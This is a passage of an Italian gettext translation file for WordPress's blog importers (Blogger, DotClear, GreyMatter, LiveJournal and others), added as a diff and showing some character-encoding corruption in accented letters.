+msgid "We were not able to gain access to your account. Try starting over."
+msgstr "Non Ãš possibile ottenere accesso al vostro account. Riprovare da capo."
+
+#: wp-admin/import/blogger.php:185
+msgid "No blogs found"
+msgstr "Nessun blog trovato"
+
+#: wp-admin/import/blogger.php:186
+msgid "We were able to log in but there were no blogs. Try a different account next time."
+msgstr "Siamo riusciti a fare il Login ma non c'era alcun Blog. Prova un altro account la prossima volta."
+
+#: wp-admin/import/blogger.php:194
+#: wp-admin/includes/media.php:1176
+#: wp-admin/upgrade.php:54
+#: wp-admin/upgrade.php:79
+msgid "Continue"
+msgstr "Continua"
+
+#: wp-admin/import/blogger.php:195
+#: wp-admin/import/opml.php:84
+msgid "Importing..."
+msgstr "Sto importando..."
+
+#: wp-admin/import/blogger.php:196
+msgid "Set Authors"
+msgstr "Imposta autori"
+
+#: wp-admin/import/blogger.php:197
+msgid "Preparing author mapping form..."
+msgstr "Preparazione mappa autori da..."
+
+#: wp-admin/import/blogger.php:198
+msgid "Final Step: Author Mapping"
+msgstr "Ultimo passo: mappare l'autore"
+
+#: wp-admin/import/blogger.php:199
+msgid "Nothing was imported. Had you already imported this blog?"
+msgstr "Non Ãš stato importato nulla. Si Ãš giÃ  importato questo blog?"
+
+#: wp-admin/import/blogger.php:200
+msgid "Blogger Blogs"
+msgstr "Blog Blogger"
+
+#: wp-admin/import/blogger.php:201
+msgid "Blog Name"
+msgstr "Nome blog"
+
+#: wp-admin/import/blogger.php:202
+#: xmlrpc.php:392
+msgid "Blog URL"
+msgstr "URL del Blog"
+
+#: wp-admin/import/blogger.php:203
+msgid "The Magic Button"
+msgstr "Il Bottone Magico"
+
+#: wp-admin/import/blogger.php:204
+#: wp-admin/includes/template.php:871
+#: wp-admin/includes/template.php:891
+#: wp-admin/includes/template.php:902
+#: wp-admin/includes/template.php:3172
+#: wp-admin/menu.php:32
+msgid "Posts"
+msgstr "Articoli"
+
+#: wp-admin/import/blogger.php:206
+msgid "This feature requires Javascript but it seems to be disabled. Please enable Javascript and then reload this page. Don&#8217;t worry, you can turn it back off when you&#8217;re done."
+msgstr "Questa funzione richiede Javascript che perÃ² sembra non sia disabilitato. Abilitare Javascript e ricaricare questa pagina. Non preoccuparsi, si potrÃ  disabilitarlo non appena si finisce di utilizzare questa funzione"
+
+#: wp-admin/import/blogger.php:656
+msgid "All posts were imported with the current user as author. Use this form to move each Blogger user&#8217;s posts to a different WordPress user. You may <a href=\"users.php\">add users</a> and then return to this page and complete the user mapping. This form may be used as many times as you like until you activate the &#8220;Restart&#8221; function below."
+msgstr "Tutti gli articoli sono stati importati con l&#8217;utente corrente come autore. Utilizza questo modulo per spostare gli articoli di ciascun utente Blogger in un differente utente WordPress. E&#8217; possibile <a href=\"users.php\">aggiungere utenti</a> e quindi tornare a questa pagina per completare la mappatura degli utenti. Questo modulo puÃ² venir utilizzato tutte le volte che si desidera sino a quando si attiverÃ  la funzione di &#8220;Riavvio&#8221;."
+
+#: wp-admin/import/blogger.php:657
+msgid "Author mapping"
+msgstr "Mappatura autori"
+
+#: wp-admin/import/blogger.php:659
+msgid "Blogger username"
+msgstr "Username di Blogger"
+
+#: wp-admin/import/blogger.php:660
+msgid "WordPress login"
+msgstr "Login  WordPress"
+
+#: wp-admin/import/blogger.php:718
+msgid "Could not connect to https://www.google.com"
+msgstr "Non riesco a connettermi  https://www.google.com"
+
+#: wp-admin/import/blogger.php:719
+msgid "There was a problem opening a secure connection to Google. This is what went wrong:"
+msgstr "C'Ãš stato un problema nell'aprire una connessione sicura con Google. Questo Ãš quello che Ãš andato storto:"
+
+#: wp-admin/import/blogger.php:730
+#, php-format
+msgid "Could not connect to %s"
+msgstr "Impossibile connettersi con %s"
+
+#: wp-admin/import/blogger.php:731
+msgid "There was a problem opening a connection to Blogger. This is what went wrong:"
+msgstr "\"C'Ãš stato un problema nell'aprire una connessione con Blogger. Questo Ãš quello che Ãš andato storto:\""
+
+#: wp-admin/import/blogger.php:797
+msgid "Congratulations!"
+msgstr "Complimenti!"
+
+#: wp-admin/import/blogger.php:797
+msgid "Now that you have imported your Blogger blog into WordPress, what are you going to do? Here are some suggestions:"
+msgstr "Ora che si Ãš importato un blog da Blogger in WordPress, cosa si puÃ² fare? Ecco alcuni suggerimenti:"
+
+#: wp-admin/import/blogger.php:797
+msgid "That was hard work! Take a break."
+msgstr "&Egrave; stato un duro lavoro! Facciamo una pausa."
+
+#: wp-admin/import/blogger.php:799
+msgid "In case you haven&#8217;t done it already, you can import the posts from your other blogs:"
+msgstr "Nel caso non lo si fosse giÃ  fatto, Ãš possibile importare gli articoli da altri blog:"
+
+#: wp-admin/import/blogger.php:801
+#, php-format
+msgid "Go to <a href=\"%s\" target=\"%s\">Authors &amp; Users</a>, where you can modify the new user(s) or delete them. If you want to make all of the imported posts yours, you will be given that option when you delete the new authors."
+msgstr "Andare su <a href=\"%s\" target=\"%s\">Autori &amp; utenti</a>, per poter modificare il/i nuovo/i utente/i o cancellarli. Se si vogliono rendere tutti gli articoli importati di propria proprietÃ  si avrÃ  la possibilitÃ  di farlo quando si cancelleranno i nuovi autori."
+
+#: wp-admin/import/blogger.php:802
+msgid "For security, click the link below to reset this importer."
+msgstr "Per sicurezza, fare clic sul link seguente per azzerare il programma di importazione."
+
+#: wp-admin/import/blogger.php:833
+msgid "Restart"
+msgstr "Riavvia"
+
+#: wp-admin/import/blogger.php:834
+msgid "We have saved some information about your Blogger account in your WordPress database. Clearing this information will allow you to start over. Restarting will not affect any posts you have already imported. If you attempt to re-import a blog, duplicate posts and comments will be skipped."
+msgstr "Sono state salvate alcune informazioni riguardo l&#8217;account nel database di WordPress. Azzerando tali informazioni sarÃ  possibile ripartire da capo. Ricominciando non si toccheranno gli articoli giÃ  importati. Se si tenta di reimportare un blog, gli articoli ed i commenti duplicati verranno saltati."
+
+#: wp-admin/import/blogger.php:835
+msgid "Clear account information"
+msgstr "Pulisci le informazioni dell'account"
+
+#: wp-admin/import/blogger.php:885
+msgid "Blogger"
+msgstr "Blogger"
+
+#: wp-admin/import/blogger.php:885
+msgid "Import posts, comments, and users from a Blogger blog."
+msgstr "Importa articoli, commenti ed utenti da un blog Blogger."
+
+#: wp-admin/import/blogware.php:25
+msgid "Import Blogware"
+msgstr "Importa da Blogware"
+
+#: wp-admin/import/blogware.php:40
+msgid "Howdy! This importer allows you to extract posts from Blogware XML export file into your blog.  Pick a Blogware file to upload and click Import."
+msgstr "Salve! Questo importatore consente di estrarre gli articoli da un file di esportazione XML di Blogware ed importarli nel proprio blog. Selezionare un file Blogware da caricare e fare clic su Importa."
+
+#: wp-admin/import/blogware.php:103
+#: wp-admin/import/mt.php:251
+#: wp-admin/import/wordpress.php:416
+#, php-format
+msgid "Post <em>%s</em> already exists."
+msgstr "L&#8217;articolo <em>%s</em> Ãš giÃ  esistente."
+
+#: wp-admin/import/blogware.php:105
+#: wp-admin/import/mt.php:254
+#: wp-admin/import/wordpress.php:449
+#, php-format
+msgid "Importing post <em>%s</em>..."
+msgstr "Importazione dell&#8217;articolo <em>%s</em>..."
+
+#: wp-admin/import/blogware.php:112
+#: wp-admin/import/rss.php:132
+msgid "Couldn&#8217;t get post ID"
+msgstr "Impossibile recuperare l&#8217;ID dell&#8217;articolo"
+
+#: wp-admin/import/blogware.php:158
+#, php-format
+msgid "%s comment"
+msgid_plural "%s comments"
+msgstr[0] "%s comment"
+msgstr[1] "%s commenti"
+
+#: wp-admin/import/blogware.php:181
+#: wp-admin/import/livejournal.php:928
+#: wp-admin/import/mt.php:468
+#: wp-admin/import/rss.php:163
+#, php-format
+msgid "All done. <a href=\"%s\">Have fun!</a>"
+msgstr "Tutto fatto. <a href=\"%s\">Divertiti!</a>"
+
+#: wp-admin/import/blogware.php:214
+msgid "Blogware"
+msgstr "Blogware"
+
+#: wp-admin/import/blogware.php:214
+msgid "Import posts from Blogware."
+msgstr "Importa articoli da un blog Blogware."
+
+#: wp-admin/import/btt.php:22
+msgid "Import Bunny&#8217;s Technorati Tags"
+msgstr "Importa tag di Technorati  Bunny"
+
+#: wp-admin/import/btt.php:23
+#: wp-admin/import/dotclear.php:97
+#: wp-admin/import/jkw.php:22
+#: wp-admin/import/stp.php:21
+#: wp-admin/import/textpattern.php:57
+#: wp-admin/import/utw.php:22
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "I passaggi richiederanno qualche minuto, a seconda della grandezza del tuo database. Occorre essere pazienti."
+
+#: wp-admin/import/btt.php:32
+msgid "Howdy! This imports tags from Bunny&#8217;s Technorati Tags into WordPress tags."
+msgstr "Salve! Questo importatore, traduce i tag da Bunny&#8217;s Technorati Tags in tag WordPress."
+
+#: wp-admin/import/btt.php:33
+msgid "This is suitable for Bunny&#8217;s Technorati Tags version 0.6."
+msgstr "Questa procedura Ãš adatta per Bunny&#8217;s Technorati Tags versione 0.6."
+
+#: wp-admin/import/btt.php:34
+msgid "All existing Bunny&#8217;s Technorati Tags will be removed after import."
+msgstr "Dopo l&#8217;importazione verranno rimosse tutti i tag Bunny&#8217;s Technorati Tags."
+
+#: wp-admin/import/btt.php:35
+#: wp-admin/import/jkw.php:34
+#: wp-admin/import/stp.php:33
+#: wp-admin/import/utw.php:34
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "Non essere stupido - esegui un backup del tuo database prima di proseguire!"
+
+#: wp-admin/import/btt.php:38
+msgid "Import Tags"
+msgstr "Importa tag"
+
+#: wp-admin/import/btt.php:77
+msgid "Reading Bunny&#8217;s Technorati Tags&#8230;"
+msgstr "Lettura di Bunny&#8217;s Technorati Tags&#8230;"
+
+#: wp-admin/import/btt.php:82
+#: wp-admin/import/jkw.php:97
+#: wp-admin/import/jkw.php:138
+#: wp-admin/import/utw.php:86
+msgid "No Tags Found!"
+msgstr "Nessun tag trovato!"
+
+#: wp-admin/import/btt.php:86
+#: wp-admin/import/jkw.php:101
+#, php-format
+msgid "Done! <strong>%s</strong> post with tags were read."
+msgid_plural "Done! <strong>%s</strong> posts with tags were read."
+msgstr[0] "Fatto! &Egrave; stato letto <strong>%s</strong> articolo con tag."
+msgstr[1] "Fatto! Sono stati letti <strong>%s</strong> articoli con tag."
+
+#: wp-admin/import/btt.php:108
+#: wp-admin/import/jkw.php:123
+#: wp-admin/import/jkw.php:156
+msgid "Next"
+msgstr "Successivo"
+
+#: wp-admin/import/btt.php:115
+#: wp-admin/import/jkw.php:177
+#: wp-admin/import/stp.php:154
+#: wp-admin/import/utw.php:264
+msgid "Import Complete!"
+msgstr "Importazione completata!"
+
+#: wp-admin/import/btt.php:128
+msgid "Import Bunny&#8217;s Technorati Tags into WordPress tags."
+msgstr "Importa i tag di Bunny&#8217;s Technorati Tags in tag WordPress."
+
+#: wp-admin/import/dotclear.php:96
+msgid "Import DotClear"
+msgstr "Importa da DotClear"
+
+#: wp-admin/import/dotclear.php:107
+msgid "Howdy! This importer allows you to extract posts from a DotClear database into your blog.  Mileage may vary."
+msgstr "Salve! Questo importatore consente di estrarre gli articoli da un database DotClear e importarli nel proprio blog."
+
+#: wp-admin/import/dotclear.php:108
+msgid "Your DotClear Configuration settings are as follows:"
+msgstr "Le impostazioni di configurazione di DotClear sono le seguenti:"
+
+#: wp-admin/import/dotclear.php:112
+msgid "Import Categories"
+msgstr "Importa categorie"
+
+#: wp-admin/import/dotclear.php:185
+#: wp-admin/import/textpattern.php:180
+msgid "Importing Categories..."
+msgstr "Sto importando le categorie..."
+
+#: wp-admin/import/dotclear.php:209
+#: wp-admin/import/textpattern.php:204
+#, php-format
+msgid "Done! <strong>%1$s</strong> category imported."
+msgid_plural "Done! <strong>%1$s</strong> categories imported."
+msgstr[0] "Fatto! <strong>%1$s</strong> categoria importata."
+msgstr[1] "Fatto! <strong>%1$s</strong> categorie importate."
+
+#: wp-admin/import/dotclear.php:212
+#: wp-admin/import/textpattern.php:207
+msgid "No Categories to Import!"
+msgstr "Nessuna categoria da importare!"
+
+#: wp-admin/import/dotclear.php:226
+#: wp-admin/import/textpattern.php:221
+msgid "Importing Users..."
+msgstr "Sto importando gli utenti..."
+
+#: wp-admin/import/dotclear.php:283
+#: wp-admin/import/textpattern.php:276
+#, php-format
+msgid "Done! <strong>%1$s</strong> users imported."
+msgstr "Fatto! <strong>%1$s</strong> utenti importati."
+
+#: wp-admin/import/dotclear.php:287
+#: wp-admin/import/textpattern.php:280
+msgid "No Users to Import!"
+msgstr "Nessun utente da importare!"
+
+#: wp-admin/import/dotclear.php:303
+#: wp-admin/import/textpattern.php:296
+msgid "Importing Posts..."
+msgstr "Sto importando gli articoli..."
+
+#: wp-admin/import/dotclear.php:386
+#: wp-admin/import/textpattern.php:370
+#, php-format
+msgid "Done! <strong>%1$s</strong> posts imported."
+msgstr "Fatto! <strong>%1$s</strong> articoli importati."
+
+#: wp-admin/import/dotclear.php:401
+#: wp-admin/import/textpattern.php:385
+msgid "Importing Comments..."
+msgstr "Sto importando i commenti..."
+
+#: wp-admin/import/dotclear.php:456
+#: wp-admin/import/textpattern.php:437
+#, php-format
+msgid "Done! <strong>%1$s</strong> comments imported."
+msgstr "Fatto! <strong>%1$s</strong> commenti importati."
+
+#: wp-admin/import/dotclear.php:459
+#: wp-admin/import/textpattern.php:440
+msgid "No Comments to Import!"
+msgstr "Nessun commento da importare!"
+
+#: wp-admin/import/dotclear.php:472
+#: wp-admin/import/textpattern.php:453
+msgid "Importing Links..."
+msgstr "Sto importando i link..."
+
+#: wp-admin/import/dotclear.php:510
+#, php-format
+msgid "Done! <strong>%s</strong> link or link category imported."
+msgid_plural "Done! <strong>%s</strong> links or link categories imported."
+msgstr[0] "Fatto! Importato <strong>%1$s</strong> link o categoria dei link."
+msgstr[1] "Fatto! Importati <strong>%1$s</strong> link o categorie dei link."
+
+#: wp-admin/import/dotclear.php:514
+#: wp-admin/import/textpattern.php:493
+msgid "No Links to Import!"
+msgstr "Nessun link da importare!"
+
+#: wp-admin/import/dotclear.php:529
+#: wp-admin/import/textpattern.php:508
+msgid "Import Users"
+msgstr "Importa utenti"
+
+#: wp-admin/import/dotclear.php:542
+#: wp-admin/import/textpattern.php:521
+msgid "Import Posts"
+msgstr "Importa articoli"
+
+#: wp-admin/import/dotclear.php:556
+#: wp-admin/import/textpattern.php:535
+msgid "Import Comments"
+msgstr "Importa commenti"
+
+#: wp-admin/import/dotclear.php:568
+#: wp-admin/import/textpattern.php:547
+msgid "Import Links"
+msgstr "Importa link"
+
+#: wp-admin/import/dotclear.php:581
+#: wp-admin/import/textpattern.php:560
+msgid "Finish"
+msgstr "Finito"
+
+#: wp-admin/import/dotclear.php:605
+msgid "Welcome to WordPress.  We hope (and expect!) that you will find this platform incredibly rewarding!  As a new WordPress user coming from DotClear, there are some things that we would like to point out.  Hopefully, they will help your transition go as smoothly as possible."
+msgstr "Benvenuto in WordPress. Ci auguriamo che questa piattaforma riesca a sorprenderti e a soddisfarti! Come nuovo utente che proviene da DotClear ci sentiamo di chiarire alcune cose che ti aiuteranno a effettuare il passaggio nel modo piÃ¹ semplice possibile."
+
+#: wp-admin/import/dotclear.php:606
+#: wp-admin/import/textpattern.php:584
+#: wp-admin/menu.php:87
+#: wp-admin/users.php:18
+msgid "Users"
+msgstr "Utenti"
+
+#: wp-admin/import/dotclear.php:607
+#, php-format
+msgid "You have already setup WordPress and have been assigned an administrative login and password.  Forget it.  You didn&#8217;t have that login in DotClear, why should you have it here?  Instead we have taken care to import all of your users into our system.  Unfortunately there is one downside.  Because both WordPress and DotClear uses a strong encryption hash with passwords, it is impossible to decrypt it and we are forced to assign temporary passwords to all your users.  <strong>Every user has the same username, but their passwords are reset to password123.</strong>  So <a href=\"%1$s\">Login</a> and change it."
+msgstr "WordPress Ãš giÃ  stato installato e sono stati assegnati un nome utente e una password per le funzioni di amministrazione. Dimenticatele! Se non si aveva questo login in DotClear, perchÃš di dovrebbe averlo qui?  Abbiamo tuttavia provveduto ad importare tutti gli utenti del sistema. Sfortunatamente vi Ãš un problema secondario. DotClear e WordPress usano un sistema di cifratura forte delle password, quindi Ãš impossibile decifrarle e abbiamo dovuto assegnare una password temporanea a tutti gli utenti. <strong>Ciascun utente conserva il vecchio nome utente, ma la password viene azzerata ed impostata a password123.</strong>. Quindi effettuare il <a href=\"%1$s\">login</a> e cambiarla."
+
+#: wp-admin/import/dotclear.php:608
+#: wp-admin/import/textpattern.php:586
+msgid "Preserving Authors"
+msgstr "Conservare gli autori"
+
+#: wp-admin/import/dotclear.php:609
+#: wp-admin/import/textpattern.php:587
+msgid "Secondly, we have attempted to preserve post authors.  If you are the only author or contributor to your blog, then you are safe.  In most cases, we are successful in this preservation endeavor.  However, if we cannot ascertain the name of the writer due to discrepancies between database tables, we assign it to you, the administrative user."
+msgstr "Secondariamente, abbiamo cercato di conservare gli account degli autori. Se si Ãš l'unico autore del blog,nessun problema, l'importazione non causerÃ  problemi. In molti casi riusciamo a conservare i dati degli autori, e nel caso non riuscissimo ad accertare il nome dell'autore a causa di informazioni non corrette presenti nel database, toccherÃ  all'amministratore del sito correggere il tutto."
+
+#: wp-admin/import/dotclear.php:610
+#: wp-admin/import/textpattern.php:588
+msgid "Textile"
+msgstr "Textile"
+
+#: wp-admin/import/dotclear.php:611
+msgid "Also, since you&#8217;re coming from DotClear, you probably have been using Textile to format your comments and posts.  If this is the case, we recommend downloading and installing <a href=\"http://www.huddledmasses.org/category/development/wordpress/textile/\">Textile for WordPress</a>.  Trust me&#8230; You&#8217;ll want it."
+msgstr "Dal momento che si proviene da DotClear, probabilmente si Ãš utilizzato il formato Textile per gli articoli e i commenti. In questo caso, raccomandiamo di scaricare ed installare <a href=\"http://www.huddledmasses.org/category/development/wordpress/textile/\">Textile per WordPress</a>. Se ne avrÃ  davvero bisogno."
+
+#: wp-admin/import/dotclear.php:612
+#: wp-admin/import/textpattern.php:590
+msgid "WordPress Resources"
+msgstr "Risorse WordPress"
+
+#: wp-admin/import/dotclear.php:613
+#: wp-admin/import/textpattern.php:591
+msgid "Finally, there are numerous WordPress resources around the internet.  Some of them are:"
+msgstr "E infine, ci sono numerose risorse disponibili in rete su WordPress: eccone alcune:"
+
+#: wp-admin/import/dotclear.php:615
+#: wp-admin/import/textpattern.php:593
+msgid "<a href=\"http://www.wordpress.org\">The official WordPress site</a>"
+msgstr "<a href=\"http://www.wordpress.org\">Sito ufficiale di WordPress</a>"
+
+#: wp-admin/import/dotclear.php:616
+#: wp-admin/import/textpattern.php:594
+msgid "<a href=\"http://wordpress.org/support/\">The WordPress support forums</a>"
+msgstr "<a href=\"http://wordpress.org/support/\">Forum di supporto di WordPress</a>"
+
+#: wp-admin/import/dotclear.php:617
+#: wp-admin/import/textpattern.php:595
+msgid "<a href=\"http://codex.wordpress.org\">The Codex (In other words, the WordPress Bible)</a>"
+msgstr "<a href=\"http://codex.wordpress.org\">Il Codex(la Bibbia di WordPress)</a>"
+
+#: wp-admin/import/dotclear.php:619
+#: wp-admin/import/textpattern.php:597
+#, php-format
+msgid "That&#8217;s it! What are you waiting for? Go <a href=\"%1$s\">login</a>!"
+msgstr "Tutto fatto! Vi aspettavate qualcos'altro? Effettuare il <a href=\"%1$s\">login</a>!"
+
+#: wp-admin/import/dotclear.php:625
+msgid "DotClear Database User:"
+msgstr "Utente del database di Dotclear:"
+
+#: wp-admin/import/dotclear.php:626
+msgid "DotClear Database Password:"
+msgstr "Password del database di DotClear:"
+
+#: wp-admin/import/dotclear.php:627
+msgid "DotClear Database Name:"
+msgstr "Nome del database di Dotclear:"
+
+#: wp-admin/import/dotclear.php:628
+msgid "DotClear Database Host:"
+msgstr "Nome host del database di DotClear:"
+
+#: wp-admin/import/dotclear.php:629
+msgid "DotClear Table prefix:"
+msgstr "Prefisso tabella DotClear:"
+
+#: wp-admin/import/dotclear.php:630
+msgid "Originating character set:"
+msgstr "Charset di origine impostato a:"
+
+#: wp-admin/import/dotclear.php:727
+msgid "DotClear"
+msgstr "DotClear"
+
+#: wp-admin/import/dotclear.php:727
+msgid "Import categories, users, posts, comments, and links from a DotClear blog."
+msgstr "Importa categorie, utenti, articoli, commenti e segnalibri da un Blog DotClear."
+
+#: wp-admin/import/greymatter.php:24
+msgid "Import GreyMatter"
+msgstr "Importa da GreyMatter"
+
+#: wp-admin/import/greymatter.php:34
+msgid "This is a basic GreyMatter to WordPress import script."
+msgstr "Questo Ãš uno script di importazione di base da GreyMatter a WordPress."
+
+#: wp-admin/import/greymatter.php:35
+msgid "What it does:"
+msgstr "Cosa fa:"
+
+#: wp-admin/import/greymatter.php:37
+msgid "Parses gm-authors.cgi to import (new) authors. Everyone is imported at level 1."
+msgstr "Analizza gm-authors.cgi per importare (nuovi) autori. Tutti verranno importati con livello 1."
+
+#: wp-admin/import/greymatter.php:38
+msgid "Parses the entries cgi files to import posts, comments, and karma on posts (although karma is not used on WordPress yet).<br />If authors are found not to be in gm-authors.cgi, imports them at level 0."
+msgstr "Analizza i file entries.cgi per importare gli articoli, i commenti e il karma degli articoli (sebbene il karma non venga ancora utilizzato da WordPress).<br />Se gli autori rilevati non si trovano in gm-authors.cgi, verranno importati con livello 0."
+
+#: wp-admin/import/greymatter.php:39
+msgid "Detects duplicate entries or comments. If you don't import everything the first time, or this import should fail in the middle, duplicate entries will not be made when you try again."
+msgstr "Identifica articoli o commenti duplicati. Se non si importa tutto la prima volta oppure se l'importatore fallisce a metÃ  strada, le voci duplicate non verranno ricreate durante il tentativo successivo."
+
+#: wp-admin/import/greymatter.php:41
+msgid "What it does not:"
+msgstr "Cosa non fa:"
+
+#: wp-admin/import/greymatter.php:43
+msgid "Parse gm-counter.cgi, gm-banlist.cgi, gm-cplog.cgi (you can make a CP log hack if you really feel like it, but I question the need of a CP log)."
+msgstr "Analizza gm-counter.cgi, gm-banlist.cgi, gm-cplog.cgi (si puÃ² anche fare un hack al file di log di CP se lo si ritiene necessario, ma non credo serva un log CP)."
+
+#: wp-admin/import/greymatter.php:44
+msgid "Import gm-templates."
+msgstr "Importa i gm-templates."
+
+#: wp-admin/import/greymatter.php:45
+msgid "Doesn't keep entries on top."
+msgstr "Non mantiene le voci in cima."
+
+#: wp-admin/import/greymatter.php:53
+msgid "Second step: GreyMatter details:"
+msgstr "Secondo passo: dettagli GreyMatter:"
+
+#: wp-admin/import/greymatter.php:56
+msgid "Path to GM files:"
+msgstr "Percorso ai file GM:"
+
+#: wp-admin/import/greymatter.php:60
+msgid "Path to GM entries:"
+msgstr "Percorso alle voci GM:"
+
+#: wp-admin/import/greymatter.php:64
+msgid "Last entry&#8217;s number:"
+msgstr "Numero dell&#8217;ultima voce:"
+
+#: wp-admin/import/greymatter.php:66
+msgid "This importer will search for files 00000001.cgi to 000-whatever.cgi,<br />so you need to enter the number of the last GM post here.<br />(if you don&#8217;t know that number, just log into your FTP and look it out<br />in the entries&#8217; folder)"
+msgstr "L&#8217;importatore cercherÃ  i file da 00000001.cgi sino a 000-qualchecosa.cgi,<br />si deve quindi inserire il numero dell&#8217;ultimo articolo GM.<br />(Se non si conosce questo numero, collegarsi tramite FTP e verificarlo<br />nella cartella entries)"
+
+#: wp-admin/import/greymatter.php:69
+msgid "Start Importing"
+msgstr "Avvio importazione"
+
+#: wp-admin/import/greymatter.php:102
+msgid "Wrong path, the path to the GM entries does not exist on the server"
+msgstr "Percorso errato, il percorso verso le voci GM non esiste sul server"
+
+#: wp-admin/import/greymatter.php:105
+msgid "Wrong path, the path to the GM files does not exist on the server"
+msgstr "Percorso errato, il percorse verso i file GM non esiste sul server"
+
+#: wp-admin/import/greymatter.php:111
+msgid "The importer is running..."
+msgstr " L&#8217;importatore Ãš in esecuzione..."
+
+#: wp-admin/import/greymatter.php:113
+msgid "importing users..."
+msgstr "importazione utenti..."
+
+#: wp-admin/import/greymatter.php:137
+#, php-format
+msgid "user %s"
+msgstr "utente %s"
+
+#: wp-admin/import/greymatter.php:137
+msgid "Already exists"
+msgstr "GiÃ  esistente"
+
+#: wp-admin/import/greymatter.php:146
+#, php-format
+msgid "user %s..."
+msgstr "utente %s..."
+
+#: wp-admin/import/greymatter.php:146
+#: wp-admin/import/greymatter.php:149
+#: wp-admin/import/greymatter.php:294
+#: wp-admin/import/greymatter.php:299
+msgid "Done"
+msgstr "Finito"
+
+#: wp-admin/import/greymatter.php:150
+msgid "importing posts, comments, and karma..."
+msgstr "importazione articoli, commenti e karma..."
+
+#: wp-admin/import/greymatter.php:186
+#, php-format
+msgid "entry # %s : %s : by %s"
+msgstr "voce nr. %s : %s : di %s"
+
+#: wp-admin/import/greymatter.php:214
+msgid "(already exists)"
+msgstr "(giÃ  esistente)"
+
+#: wp-admin/import/greymatter.php:236
+#, php-format
+msgid "registered deleted user %s at level 0 "
+msgstr "registrato l&#8217;utente cancellato %s al livello 0 "
+
+#: wp-admin/import/greymatter.php:286
+#, php-format
+msgid "imported %s comment"
+msgid_plural "imported %s comments"
+msgstr[0] "importato %s commento"
+msgstr[1] "importati %s commenti"
+
+#: wp-admin/import/greymatter.php:291
+#, php-format
+msgid "ignored %s pre-existing comment"
+msgid_plural "ignored %s pre-existing comments"
+msgstr[0] "ignorato %s commento pre-esistente"
+msgstr[1] "ignorati %s commenti pre-esistenti"
+
+#: wp-admin/import/greymatter.php:301
+msgid "Completed GreyMatter import!"
+msgstr "Importazione da GreyMatter completata!"
+
+#: wp-admin/import/greymatter.php:333
+msgid "GreyMatter"
+msgstr "GrayMatter"
+
+#: wp-admin/import/greymatter.php:333
+msgid "Import users, posts, and comments from a Greymatter blog."
+msgstr "Importa utenti, articoli e commenti da un blog GreyMatter."
+
+#: wp-admin/import/jkw.php:21
+msgid "Import Jerome&#8217;s Keywords"
+msgstr "Importa Jerome&#8217;s Keywords"
+
+#: wp-admin/import/jkw.php:31
+msgid "Howdy! This imports tags from Jerome&#8217;s Keywords into WordPress tags."
+msgstr "Salve! Questo importatore, traduce i tag di Jerome&#8217;s Keywords in tag WordPress."
+
+#: wp-admin/import/jkw.php:32
+msgid "This is suitable for Jerome&#8217;s Keywords version 1.x and 2.0a."
+msgstr "Questa procedura Ãš adatta per Jerome&#8217;s Keywords versione 1.x e 2.0a."
+
+#: wp-admin/import/jkw.php:33
+msgid "All existing Jerome&#8217;s Keywords will be removed after import."
+msgstr "Dopo l&#8217;importazione verranno rimosse tutte le Jerome&#8217;s Keywords."
+
+#: wp-admin/import/jkw.php:37
+msgid "Import Version 1.x"
+msgstr "Importa versione 1.x"
+
+#: wp-admin/import/jkw.php:41
+msgid "Import Version 2.0a"
+msgstr "Importa versione 2.0a"
+
+#: wp-admin/import/jkw.php:92
+#: wp-admin/import/jkw.php:132
+msgid "Reading Jerome&#8217;s Keywords Tags&#8230;"
+msgstr "Lettura dei tag di Jerome&#8217;s Keywords"
+
+#: wp-admin/import/jkw.php:142
+#: wp-admin/import/utw.php:101
+#, php-format
+msgid "Done! <strong>%s</strong> tag were read."
+msgid_plural "Done! <strong>%s</strong> tags were read."
+msgstr[0] "Fatto! &Egrave;i stato letto <strong>%s</strong> tag."
+msgstr[1] "Fatto! Sono stati letti <strong>%s</strong> tag."
+
+#: wp-admin/import/jkw.php:190
+msgid "Import Jerome&#8217;s Keywords into WordPress tags."
+msgstr "Importa i tag di Jerome&#8217;s Keywords in tag WordPress."
+
+#: wp-admin/import/livejournal.php:171
+msgid "Import LiveJournal"
+msgstr "Importa da LiveJournals"
+
+#: wp-admin/import/livejournal.php:185
+msgid "It looks like you attempted to import your LiveJournal posts previously and got interrupted."
+msgstr "Sembra si sia giÃ  tentato di importare gli articoli da LiveJournal ma che la procedura si stata interrotta."
+
+#: wp-admin/import/livejournal.php:187
+msgid "Continue previous import"
+msgstr "Continuare la precedente importazione"
+
+#: wp-admin/import/livejournal.php:189
+msgid "Cancel &amp; start a new import"
+msgstr "Annulla e avvia una nuova importazione"
+
+#: wp-admin/import/livejournal.php:194
+msgid "Howdy! This importer allows you to connect directly to LiveJournal and download all your entries and comments"
+msgstr "Salve! Questo importatore permette di collegarsi direttamente a LiveJournal e di scaricare gli articoli e i commenti"
+
+#: wp-admin/import/livejournal.php:195
+msgid "Enter your LiveJournal username and password below so we can connect to your account:"
+msgstr "Immettere qui sotto il proprio nome utente e password di LiveJournal cosÃ¬ da potersi collegare al proprio account:"
+
+#: wp-admin/import/livejournal.php:200
+msgid "LiveJournal Username"
+msgstr "Nome utente LiveJournal"
+
+#: wp-admin/import/livejournal.php:205
+msgid "LiveJournal Password"
+msgstr "Password LiveJournal"
+
+#: wp-admin/import/livejournal.php:211
+msgid "If you have any entries on LiveJournal which are marked as private, they will be password-protected when they are imported so that only people who know the password can see them."
+msgstr "Se vi sono degli articoli su LiveJournal contrassegnati come privati, questi verranno protetti con una password ne momento della loro importazione cosÃ¬ che solo le persone che conoscono questa password possano vederli."
+
+#: wp-admin/import/livejournal.php:212
+msgid "If you don&#8217;t enter a password, ALL ENTRIES from your LiveJournal will be imported as public posts in WordPress."
+msgstr "Se non si immette una password, TUTTI GLI ARTICOLI di LiveJournal verranno importati in WordPress come  articoli pubblici."
+
+#: wp-admin/import/livejournal.php:213
+msgid "Enter the password you would like to use for all protected entries here:"
+msgstr "Immettere la password che si desidera utilizzare per tutti gli articoli protetti:"
+
+#: wp-admin/import/livejournal.php:217
+msgid "Protected Post Password"
+msgstr "Passowrd articoli protetti"
+
+#: wp-admin/import/livejournal.php:223
+msgid "<strong>WARNING:</strong> This can take a really long time if you have a lot of entries in your LiveJournal, or a lot of comments. Ideally, you should only start this process if you can leave your computer alone while it finishes the import."
